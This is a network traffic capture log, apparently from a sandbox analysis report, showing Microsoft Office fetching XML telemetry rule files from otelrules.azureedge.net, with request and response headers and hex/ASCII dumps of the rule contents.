2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 17:22:02 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:04 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:04 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172204Z-174c587ffdf89smkhC1TEB697s00000003bg0000000062ac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:04 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:04 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:04 UTC	492	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:04 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 67d1adef-301e-0052-340f-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172204Z-178bfbc474bv7whqhC1NYC1fg400000004qg00000000fuv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:22:04 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:04 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:04 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172204Z-174c587ffdf7t49mhC1TEB4qbg000000032g00000000m71k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:04 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:04 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:04 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172204Z-178bfbc474bbcwv4hC1NYCypys00000004hg00000000erd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:04 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:04 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:04 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172204Z-15b8b599d88pxmdghC1TEBux9c00000003cg000000007acg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:05 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:06 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:06 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172206Z-174c587ffdftjz9shC1TEBsh98000000032g00000000cfdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:06 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:06 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172206Z-178bfbc474bbcwv4hC1NYCypys00000004k000000000epm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:06 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:07 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172207Z-178bfbc474bbbqrhhC1NYCvw7400000004zg0000000040xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:07 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:06 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 51fbd25c-e01e-0020-5e4d-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172207Z-15b8b599d88g5tp8hC1TEByx6w000000035g00000000czha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

